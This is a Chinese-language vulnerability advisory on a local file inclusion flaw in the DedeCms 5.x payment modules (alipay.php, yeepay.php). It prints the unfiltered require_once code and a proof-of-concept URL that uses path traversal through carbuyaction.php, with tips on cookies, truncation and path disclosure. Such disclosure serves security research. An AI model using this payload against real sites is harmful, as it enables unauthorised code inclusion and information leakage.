DedeCms 5.x 本地文件包含漏洞(respond方法)

查看次数:  编辑:sorry404  时间:2014-05-04 02:58



plus/carbuyaction.php里没有对变量进行严格的过滤

出现漏洞的两个文件为:
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里

Include/payment/alipay.php 

	
  1. ......
  2. function respond()
  3. {
  4. if (!empty($_POST))
  5. {
  6. foreach($_POST as $key => $data)
  7. {
  8. $_GET[$key] = $data;
  9. }
  10. }
  11. /* 引入配置文件 */
  12. require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
  13. ......
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 Include/payment/yeepay.php

	
  1. ......
  2. function respond()
  3. {
  4.  
  5. /* 引入配置文件 */
  6. require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
  7.  
  8. $p1_MerId = trim($payment['yp_account']);
  9. $merchantKey = trim($payment['yp_key']);
  10. ......
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。

测试方法:

@Sebug.net   dis 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

	
  1. http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie
  2.  
  3. 由于bankcod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径